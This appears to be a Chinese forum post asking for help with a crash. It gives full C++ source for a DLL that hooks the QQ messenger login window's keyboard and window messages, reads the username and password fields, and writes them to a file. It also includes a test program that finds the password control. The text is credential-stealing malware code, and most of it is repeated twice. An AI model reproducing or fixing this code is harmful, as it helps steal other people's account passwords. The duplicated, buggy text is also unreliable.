只要在KeyboardProc或CallWndProc回调函数里调用获取密码的代码,即向用户名和密码控件发送WM_GETTEXT消息,就出现地址不可读的错误。在其它地方调用获取密码的代码就不会出错。但我要通过这两个回调函数才能得知用户什么时候点击了登录按钮或者按下回车键,所以获取密码的函数只能放在这里。用QQ做实验的错误如下:
目标程序发生[可持续]异常,详细信息:[异常类型] EXCEPTION_ACCESS_VIOLATION/
[异常地址] 0x01C5172C/
[出错原因]:对地址[0x00000000]进行读操作/操作系统:Microsoft Windows XP Service Pack 2 [Build 5.1.2600]
Call stack:
0x01BA0000[172C] NewDll.dll: (0,262144,1242516,-858993460)
0x01BA0000[13FB] NewDll.dll: (0,0,1242516,273)
这前两个地址是我编写的DLL中的。应该是代码有错误。
用我自己编写的对话框做实验也报类似的错误。
下面给出全部代码:
头文件:
#ifdef MyDll_API
#else
#define MyDll_API _declspec(dllimport)
#endif
#include "Windows.h"
MyDll_API BOOL WINAPI SetQQHook(HWND);
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
);
MyDll_API void WINAPI SetHandle(HWND*);
源文件:
#define MyDll_API _declspec(dllexport)
#include "NewDll.h"
#include "Winuser.h"
#include "Windows.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
HWND g_hNum=NULL;
HWND g_hPwd=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
char *g_szText;
void WINAPI SetHandle(HWND* handle)
{
g_szText=new char[1024];
memset(g_szText,0,1024);
g_hNum=handle[0];
g_hPwd=handle[1];
}
void WritePwd()
{
HANDLE h;
DWORD dw;
WORD wPwd=0;
char test[255];
memset(test,0,255);
SendMessage(g_hNum,WM_GETTEXT,255,(LPARAM)test);
strcat(g_szText,"用户名:");
strcat(g_szText,test);
MessageBox(NULL,g_szText,"ads",0);
char pwd[255];
memset(pwd,0,255);
SendMessage(g_hPwd,WM_GETTEXT,255,(LPARAM)pwd);
strcat(g_szText,"密码:");
strcat(g_szText,pwd);
MessageBox(NULL,g_szText,"郁闷",0);
h=CreateFile("C://password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile(h,&g_szText,sizeof(g_szText),&dw,NULL);
CloseHandle(h);
}
LRESULT CALLBACK KeyboardProc(
int code,
WPARAM wParam,
LPARAM lParam
)
{
if(wParam==VK_RETURN)
{
WritePwd();
}
return CallNextHookEx(g_hKey,code,wParam,lParam);
}
LRESULT CALLBACK CallWndProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
CWPSTRUCT *p=(CWPSTRUCT*)lParam;
if(p->message==WM_COMMAND)
{
if(p->wParam==16032)
{
WritePwd();
}
}
return CallNextHookEx(g_hProc,nCode,wParam,lParam);
}
BOOL WINAPI SetQQHook(HWND hwnd)
{
BOOL bRet=FALSE;
if(hwnd!=NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hwnd,NULL);
g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle("NewDll"),dwThreadID);
g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("NewDll"),dwThreadID);
bRet=(g_hProc!=NULL)&&(g_hKey!=NULL);
}
else
{
bRet=UnhookWindowsHookEx(g_hProc)&&UnhookWindowsHookEx(g_hKey);
g_hProc=NULL;
g_hKey=NULL;
g_hNum=NULL;
g_hPwd=NULL;
}
return bRet;
}
测试DLL的基于对话框的应用程序:
void CTestPwdDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
g_hInst=LoadLibrary("NewDll.dll");
typedef BOOL (_stdcall *SETHANDLEPROC)(HWND*);
SETHANDLEPROC SetHandle=(SETHANDLEPROC)GetProcAddress(g_hInst,MAKEINTRESOURCE(1));
typedef BOOL (_stdcall *SETPROC)(HWND);
SETPROC SetQQHook=(SETPROC)GetProcAddress(g_hInst,MAKEINTRESOURCE(2));
if(!SetHandle)
{
MessageBox("获取函数地址失败!");
return;
}
if(!SetQQHook)
{
MessageBox("获取函数地址失败!");
return;
}
if(!IsWindow(g_hLogin))
{
HWND hLogin=NULL;
g_hLogin=NULL;
SetQQHook(NULL);
do{
g_hLogin=FindWindowEx(NULL,g_hLogin,"#32770",NULL);
hLogin=FindWindowEx(g_hLogin,NULL,"Button","取消");
g_hLBtn=FindWindowEx(g_hLogin,NULL,"Button","登录");
}while(g_hLogin!=NULL&&hLogin==NULL);
if(g_hLogin!=NULL&&hLogin!=NULL)
{
char lpClsName[255];
memset(lpClsName,0,255);
int cnt=0;
HWND hSubWnd=NULL;
HWND hNextWnd=NULL;
HWND hTemp=NULL;
hTemp = ::GetWindow(g_hLogin,GW_CHILD);
do
{
hSubWnd = ::GetWindow(hTemp,GW_HWNDNEXT);
int a=::GetClassName(hSubWnd,lpClsName,255);
if(a==0)
{
::MessageBox(NULL,"彻底失败,连子窗口都找不到!","郁闷",0);
return;
}
cnt++;
if(cnt>20)
{
::MessageBox(NULL,"看来方法不对,只好放弃了!","郁闷",0);
break;
}
hTemp = hSubWnd;
}while(0!=stricmp(lpClsName,"COMBOBOX"));
if(0==stricmp(lpClsName,"COMBOBOX"))
{
g_hNum = hSubWnd;
}
if(g_hNum==NULL)
{
::MessageBox(NULL,"失败,找不到用户名窗口!","郁闷",0);
return;
}
cnt=0;
do{
hNextWnd=::GetNextWindow(hSubWnd,GW_HWNDNEXT);
int a=::GetClassName(hNextWnd,lpClsName,255);
if(a==0)
{
::MessageBox(NULL,"失败,找不到密码子窗口!","郁闷",0);
return;
}
cnt++;
if(cnt>20)
break;
hSubWnd = hNextWnd;
}while(0!=stricmp(lpClsName,"EDIT"));
if(0==stricmp(lpClsName,"EDIT"))
{
LONG lStyle = GetWindowLong(hSubWnd,GWL_STYLE);
if(lStyle & ES_PASSWORD)
{
g_hPwd=hNextWnd;
}
}
if(g_hPwd==NULL)
{
::MessageBox(NULL,"失败,找不到密码窗口!","郁闷",0);
return;
}
HWND* handle=new HWND[2];
handle[0]=g_hNum;
handle[1]=g_hPwd;
SetHandle(handle);
SetQQHook(g_hLogin);
}
}
CDialog::OnTimer(nIDEvent);
}
目标程序发生[可持续]异常,详细信息:[异常类型] EXCEPTION_ACCESS_VIOLATION/
[异常地址] 0x01C5172C/
[出错原因]:对地址[0x00000000]进行读操作/操作系统:Microsoft Windows XP Service Pack 2 [Build 5.1.2600]
Call stack:
0x01BA0000[172C] NewDll.dll: (0,262144,1242516,-858993460)
0x01BA0000[13FB] NewDll.dll: (0,0,1242516,273)
这前两个地址是我编写的DLL中的。应该是代码有错误。
用我自己编写的对话框做实验也报类似的错误。
下面给出全部代码:
头文件:
#ifdef MyDll_API
#else
#define MyDll_API _declspec(dllimport)
#endif
#include "Windows.h"
MyDll_API BOOL WINAPI SetQQHook(HWND);
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
);
MyDll_API void WINAPI SetHandle(HWND*);
源文件:
#define MyDll_API _declspec(dllexport)
#include "NewDll.h"
#include "Winuser.h"
#include "Windows.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
HWND g_hNum=NULL;
HWND g_hPwd=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
char *g_szText;
void WINAPI SetHandle(HWND* handle)
{
g_szText=new char[1024];
memset(g_szText,0,1024);
g_hNum=handle[0];
g_hPwd=handle[1];
}
void WritePwd()
{
HANDLE h;
DWORD dw;
WORD wPwd=0;
char test[255];
memset(test,0,255);
SendMessage(g_hNum,WM_GETTEXT,255,(LPARAM)test);
strcat(g_szText,"用户名:");
strcat(g_szText,test);
MessageBox(NULL,g_szText,"ads",0);
char pwd[255];
memset(pwd,0,255);
SendMessage(g_hPwd,WM_GETTEXT,255,(LPARAM)pwd);
strcat(g_szText,"密码:");
strcat(g_szText,pwd);
MessageBox(NULL,g_szText,"郁闷",0);
h=CreateFile("C://password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile(h,&g_szText,sizeof(g_szText),&dw,NULL);
CloseHandle(h);
}
LRESULT CALLBACK KeyboardProc(
int code,
WPARAM wParam,
LPARAM lParam
)
{
if(wParam==VK_RETURN)
{
WritePwd();
}
return CallNextHookEx(g_hKey,code,wParam,lParam);
}
LRESULT CALLBACK CallWndProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
CWPSTRUCT *p=(CWPSTRUCT*)lParam;
if(p->message==WM_COMMAND)
{
if(p->wParam==16032)
{
WritePwd();
}
}
return CallNextHookEx(g_hProc,nCode,wParam,lParam);
}
BOOL WINAPI SetQQHook(HWND hwnd)
{
BOOL bRet=FALSE;
if(hwnd!=NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hwnd,NULL);
g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle("NewDll"),dwThreadID);
g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("NewDll"),dwThreadID);
bRet=(g_hProc!=NULL)&&(g_hKey!=NULL);
}
else
{
bRet=UnhookWindowsHookEx(g_hProc)&&UnhookWindowsHookEx(g_hKey);
g_hProc=NULL;
g_hKey=NULL;
g_hNum=NULL;
g_hPwd=NULL;
}
return bRet;
}
测试DLL的基于对话框的应用程序:
void CTestPwdDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
g_hInst=LoadLibrary("NewDll.dll");
typedef BOOL (_stdcall *SETHANDLEPROC)(HWND*);
SETHANDLEPROC SetHandle=(SETHANDLEPROC)GetProcAddress(g_hInst,MAKEINTRESOURCE(1));
typedef BOOL (_stdcall *SETPROC)(HWND);
SETPROC SetQQHook=(SETPROC)GetProcAddress(g_hInst,MAKEINTRESOURCE(2));
if(!SetHandle)
{
MessageBox("获取函数地址失败!");
return;
}
if(!SetQQHook)
{
MessageBox("获取函数地址失败!");
return;
}
if(!IsWindow(g_hLogin))
{
HWND hLogin=NULL;
g_hLogin=NULL;
SetQQHook(NULL);
do{
g_hLogin=FindWindowEx(NULL,g_hLogin,"#32770",NULL);
hLogin=FindWindowEx(g_hLogin,NULL,"Button","取消");
g_hLBtn=FindWindowEx(g_hLogin,NULL,"Button","登录");
}while(g_hLogin!=NULL&&hLogin==NULL);
if(g_hLogin!=NULL&&hLogin!=NULL)
{
char lpClsName[255];
memset(lpClsName,0,255);
int cnt=0;
HWND hSubWnd=NULL;
HWND hNextWnd=NULL;
HWND hTemp=NULL;
hTemp = ::GetWindow(g_hLogin,GW_CHILD);
do
{
hSubWnd = ::GetWindow(hTemp,GW_HWNDNEXT);
int a=::GetClassName(hSubWnd,lpClsName,255);
if(a==0)
{
::MessageBox(NULL,"彻底失败,连子窗口都找不到!","郁闷",0);
return;
}
cnt++;
if(cnt>20)
{
::MessageBox(NULL,"看来方法不对,只好放弃了!","郁闷",0);
break;
}
hTemp = hSubWnd;
}while(0!=stricmp(lpClsName,"COMBOBOX"));
if(0==stricmp(lpClsName,"COMBOBOX"))
{
g_hNum = hSubWnd;
}
if(g_hNum==NULL)
{
::MessageBox(NULL,"失败,找不到用户名窗口!","郁闷",0);
return;
}
cnt=0;
do{
hNextWnd=::GetNextWindow(hSubWnd,GW_HWNDNEXT);
int a=::GetClassName(hNextWnd,lpClsName,255);
if(a==0)
{
::MessageBox(NULL,"失败,找不到密码子窗口!","郁闷",0);
return;
}
cnt++;
if(cnt>20)
break;
hSubWnd = hNextWnd;
}while(0!=stricmp(lpClsName,"EDIT"));
if(0==stricmp(lpClsName,"EDIT"))
{
LONG lStyle = GetWindowLong(hSubWnd,GWL_STYLE);
if(lStyle & ES_PASSWORD)
{
g_hPwd=hNextWnd;
}
}
if(g_hPwd==NULL)
{
::MessageBox(NULL,"失败,找不到密码窗口!","郁闷",0);
return;
}
HWND* handle=new HWND[2];
handle[0]=g_hNum;
handle[1]=g_hPwd;
SetHandle(handle);
SetQQHook(g_hLogin);
}
}
CDialog::OnTimer(nIDEvent);
}